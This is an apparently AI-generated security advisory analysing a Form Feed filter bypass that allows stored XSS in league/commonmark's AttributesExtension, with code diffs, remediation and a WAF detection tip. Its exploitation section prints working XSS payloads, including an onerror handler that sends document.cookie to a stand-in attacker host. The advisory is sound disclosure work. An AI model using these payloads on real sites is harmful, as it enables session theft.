CVEReports
CVEReports

Automated vulnerability intelligence platform. Comprehensive reports for high-severity CVEs generated by AI.

Product

  • Home
  • Sitemap
  • RSS Feed

Company

  • About
  • Contact
  • Privacy Policy
  • Terms of Service

© 2026 CVEReports. All rights reserved.

Made with love by Amit Schendel & Alon Barad



GHSA-F8FG-PG57-V4J8

GHSA-f8fg-pg57-v4j8: Sanitizer Filter Bypass via Control Character Injection in league/commonmark

Alon Barad
Alon Barad
Software Engineer

Sep 2, 2026·7 min read·10 visits

Executive Summary (TL;DR)

A validation mismatch between PHP's regex matching and native trimming permits the Form Feed character (\x0C) to survive attribute parsing. Browsers treat this character as whitespace, translating bypassed attributes into executable javascript handlers.

An inconsistency in whitespace handling between the PCRE regex engine, PHP's native trim function, and web browsers allows unauthenticated attackers to bypass XSS protections in the league/commonmark AttributesExtension by injecting a Form Feed (U+000C) control character.

Vulnerability Overview

The league/commonmark library is a widely utilized PHP package designed to parse Markdown specifications into safe HTML. It exposes an optional AttributesExtension that allows content authors to append attributes, such as classes, identifiers, and custom values, directly to Markdown elements using curly-brace expressions. When accepting input from untrusted sources, security teams rely on internal sanitization logic in this extension to block malicious event handlers and unsafe URI schemes.

A significant security gap exists within the filter validation of the AttributesExtension. A remote attacker can construct a payload containing a leading control byte, specifically the Form Feed character (U+000C), prefixing an attribute name. Due to an validation inconsistency, the malicious attribute bypasses the XSS defense layer, is serialized into the raw HTML, and is executed by downstream browsers.

The vulnerability affects all deployments running versions 2.7.0 up to 2.9.0 where the AttributesExtension is active and handles user-controlled Markdown input. Applications processing comments, profile information, or user documents are directly vulnerable to persistent Cross-Site Scripting (XSS).

Root Cause Analysis

The core flaw lies in a structural parser differential involving the PHP PCRE regular expression engine, PHP's native string manipulation functions, and HTML5 browser tokenizer specifications. The extraction of custom attributes utilizes a regular expression defined by the pattern SINGLE_ATTRIBUTE in AttributesHelper.php. Because this pattern relies on the PCRE character class shorthand \s, it successfully matches the Form Feed control character (\x0C or \f).

After matching, the package parses the attribute using PHP's native trim() function to clean white spaces. When called without a custom character mask, the trim() function removes standard whitespace such as carriage returns, new lines, horizontal tabs, vertical tabs, and spaces. However, the default mask of the trim() function does not match the Form Feed character. Consequently, the leading byte is left attached to the attribute name.

The sanitization blocklist within the helper checks the extracted attribute names using simple string operations like str_starts_with($name, 'on'). Since the parsed attribute name is evaluated as \x0Conclick instead of onclick, the prefix check evaluates to false. The sanitizer permits the attribute, which is eventually serialized into raw output as <p \x0Conclick="alert(1)">. Modern web browsers treat the Form Feed control character as empty whitespace separation, interpreting the string as a functional onclick event handler.

Code-Level Analysis of Vulnerable and Patched Code Paths

The parser logic prior to version 2.9.1 processed the attribute matches inside a standard while loop within AttributesHelper::parseAttributes(). Below is the vulnerable code segment showing the direct call to the unmasked trim() function:

// Vulnerable implementation in AttributesHelper.php
while ($attribute = \trim((string) $attributeCursor->match('/^' . self::SINGLE_ATTRIBUTE . '/i'))) {
    // ... Match parsing and extraction logic ...
    if (\strtolower(\trim($name)) === 'class') {
        foreach (\array_filter(\explode(' ', \trim($value))) as $class) {
            $attributes['class'][] = $class;
        }
    } else {
        $attributes[\trim($name)] = \trim($value); // Vulnerable: \trim() leaves \x0C attached to the name key
    }
}

The patched implementation resolves the parsing mismatch by introducing a custom WHITESPACE character mask constant that explicitly includes the Form Feed character (\x0C). In addition, the patch adds a strict verification layer verifying that the attribute name is a syntactically valid structure before allowing downstream processing:

// Patched implementation (Commit: dfcdf4554c16aa37c15e3a5ee3243ee26147c239)
private const WHITESPACE = " \t\n\r\0\x0B\x0C"; // Form Feed (\x0C) is now included in the custom trim mask
 
while ($attribute = \trim((string) $attributeCursor->match('/^' . self::SINGLE_ATTRIBUTE . '/i'), self::WHITESPACE)) {
    // ...
    if (\strtolower(\trim($name, self::WHITESPACE)) === 'class') {
        foreach (\array_filter(\explode(' ', \trim($value, self::WHITESPACE))) as $class) {
            $attributes['class'][] = $class;
        }
    } else {
        $attributes[\trim($name, self::WHITESPACE)] = \trim($value, self::WHITESPACE); // Safe: Form Feed is stripped from keys and values
    }
}

The patch also introduces an active validation check within the filterAttributes() method using the package's existing PARTIAL_ATTRIBUTENAME regular expression. This defensive-in-depth addition ensures that even if other unrecognized non-printable characters survive the initial cleaning, any attribute whose name contains illegal characters is immediately dropped:

// Validation addition inside filterAttributes()
foreach ($attributes as $name => $value) {
    if (\preg_match('/^' . RegexHelper::PARTIAL_ATTRIBUTENAME . '$/i', (string) $name) !== 1) {
        unset($attributes[$name]); // Drops any attributes containing invalid name syntax
        continue;
    }
    $attrNameLower = \strtolower((string) $name);
    // ... Blocklist checks remain ...
}

Exploitation Methodology and Attack Scenarios

Exploiting this bypass requires that the target web application has enabled the AttributesExtension and outputs parsed HTML without additional context-aware sanitization layers. The attacker crafts Markdown inputs containing the literal Form Feed control character. Since the character is non-printable, it is represented as \x0C or \f in standard exploit payloads.

hello {onclick="alert(document.domain)"}

This input renders as <p onclick="alert(document.domain)">hello</p>. When parsed by a browser, the Form Feed functions as an attribute delimiter, rendering the malicious script runnable on interaction. To perform an automated, zero-click attack, the adversary can utilize an image element combined with an onerror handler:

![target](invalid-source.jpg){onerror="fetch('http://malicious.example.com/steal?cookie='+document.cookie)"}

Another variation targets links to execute the javascript: protocol. This bypasses typical URL filtering schemes since the injected attribute appears as href, preceding the safe URL generated by the markdown renderer:

[click](https://example.com){href="javascript:alert(1)"}

Because the HTML5 standard specifies that the first encountered attribute of the same name overrides subsequent ones, the browser loads the javascript: link rather than the legitimate URL, executing arbitrary client-side code upon clicking.

Security Impact and Threat Vector Assessment

The security impact of this parser bypass is classified as Cross-Site Scripting (XSS). If successfully exploited, an attacker can execute arbitrary JavaScript code within the context of the victim's browser session. Depending on the design of the hosting platform, this can lead to account hijacking, session theft, and unauthorized actions.

Because the payload is stored inside the target application's database and rendered to other users, it operates as a high-reliability Stored XSS vulnerability. This elevates the danger, as it does not rely on persuading a victim to click an external, suspicious link; standard navigation to a compromised page initiates the execution vector.

The CVSS v3.1 base score is assessed at 5.8 (Medium severity). While the technical exploit guarantees arbitrary execution on the client, the scope remains bounded within the browser's sandbox environment. However, if the web application hosts highly privileged management consoles, exploitation against administrators can compromise the entire underlying platform.

Remediation Steps and Defensive Mitigations

The absolute remediation step is upgrading the league/commonmark package to version 2.9.1 or later. This introduces the custom whitespace cleaning routines and strict regular expression checks that structurally eliminate the bypass vectors. Applications managed via Composer should update the dependencies using standard package manager commands.

composer update league/commonmark

If upgrading immediately is not technically feasible, security teams can implement defensive workarounds via configuration. Specifying an explicit allowlist of attributes forces the parser to discard any attribute key not present on the whitelist, neutralizing the obfuscated inputs.

$environment = new Environment([
    'attributes' => [
        'allow' => ['id', 'class', 'style', 'align'] // Only safe attributes allowed
    ]
]);

Additionally, intrusion detection systems (IDS) and Web Application Firewalls (WAF) can scan incoming request bodies for anomalous non-printable bytes within Markdown syntax. Detecting the Form Feed character (\x0C) nested inside curly brace configurations provides a reliable indicator of active exploitation attempts.

Official Patches

thephpleagueOfficial patch fixing control character bypass vulnerability

Fix Analysis (1)

Technical Appendix

CVSS Score
5.8/ 10
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N

Affected Systems

league/commonmark

Affected Versions Detail

Product
Affected Versions
Fixed Version
league/commonmark
thephpleague
>= 2.7.0, < 2.9.12.9.1
AttributeDetail
CWE IDCWE-79
Attack VectorNetwork
CVSS v3.15.8
Exploit Statuspoc
EPSS Score0.01
ImpactStored / Reflected Cross-Site Scripting (XSS)

MITRE ATT&CK Mapping

T1059.007Command and Scripting Interpreter: JavaScript
Execution
T1189Drive-by Compromise
Initial Access
CWE-79
Improper Neutralization of Input During Web Page Generation ('Cross-Site Scripting')

The software does not neutralize or incorrectly neutralizes user-controlled input before it is placed in output that is used as a web page that is served to other users.

Vulnerability Timeline

Vulnerability patch committed to repository
2026-08-08
Security release 2.9.1 tagged and released
2026-08-08
Official security advisory GHSA-f8fg-pg57-v4j8 published
2026-09-01

References & Sources

  • [1]GitHub Security Advisory: GHSA-f8fg-pg57-v4j8
  • [2]Official Fix Commit
  • [3]Package Repository
  • [4]Release Announcement 2.9.1

Attack Flow Diagram

Press enter or space to select a node. You can then use the arrow keys to move the node around. Press delete to remove it and escape to cancel.
Press enter or space to select an edge. You can then press delete to remove it or escape to cancel.

More Reports

•1 day ago•CVE-2026-11748
6.9

CVE-2026-11748: Unauthenticated LDAP Injection in Central Dogma Server Authentication

An LDAP injection vulnerability exists in the centraldogma-server-auth-shiro module of LY Corporation Central Dogma before version 0.84.0. The search logic dynamically constructs LDAP search filters by interpolating user-provided usernames without escaping RFC 4515 metacharacters. Unauthenticated remote attackers can leverage this flaw to bypass authentication, enumerate directory hierarchies, and access unauthorized resources.

Alon Barad
Alon Barad
9 views•6 min read
•1 day ago•CVE-2026-11746
9.4

CVE-2026-11746: Use of Hard-coded ZooKeeper Replication Secret 'ch4n63m3' in Central Dogma Server

CVE-2026-11746 is a critical vulnerability in Central Dogma Server prior to version 0.84.0, where an embedded ZooKeeper replication secret silently falls back to a publicly known, hard-coded default string ('ch4n63m3'). Remote attackers with access to the replication network can authenticate as legitimate cluster peers, potentially leading to unauthorized data exposure, state manipulation, or complete cluster takeover.

Amit Schendel
Amit Schendel
7 views•6 min read
•1 day ago•CVE-2026-56665
4.2

CVE-2026-56665: Logical Validation Bypass in ZITADEL External JWT Identity Provider

A logical verification flaw in ZITADEL's external JWT Identity Provider validation allows attackers to bypass session expiration checks. If an incoming JWT lacks the 'exp' claim, the system skips validation entirely, creating an indefinitely valid session. This issue has been addressed in versions 3.4.12 and 4.15.2.

Alon Barad
Alon Barad
6 views•7 min read
•1 day ago•CVE-2026-59149
6.5

CVE-2026-59149: Sibling Directory Path Traversal in Mockoon Backend Server

CVE-2026-59149 identifies a directory traversal vulnerability in `@mockoon/commons-server`, the backend mock-server library powering the Mockoon application. The flaw occurs in the path containment validation logic used during raw file response generation. An unauthenticated attacker can exploit this weakness to retrieve arbitrary files from sibling directories sharing a common prefix with the designated static base directory.

Amit Schendel
Amit Schendel
9 views•5 min read
•1 day ago•CVE-2026-59148
8.8

CVE-2026-59148: Unauthenticated Administrative API and CORS Misconfiguration in Mockoon

An in-depth analysis of CVE-2026-59148, a high-severity flaw in Mockoon where unauthenticated administrative endpoints and a wildcard Cross-Origin Resource Sharing (CORS) policy allow remote execution, state poisoning, and credential theft.

Alon Barad
Alon Barad
11 views•6 min read
•1 day ago•CVE-2026-56666
4.8

CVE-2026-56666: Account Takeover via Improper Email Verification in ZITADEL Federated Identity Handler

An improper authentication vulnerability (CWE-287) in ZITADEL's external identity provider handler before version 4.15.3 allows remote attackers to perform complete account takeover. When auto-linking by email is enabled, ZITADEL verifies that the local target account has a verified email address but fails to verify if the external provider confirmed ownership of that same email. Attackers can exploit this by registering an unverified account with a victim's email address on a permissive external provider, leading to unauthorized account binding and persistent access.

Amit Schendel
Amit Schendel
7 views•7 min read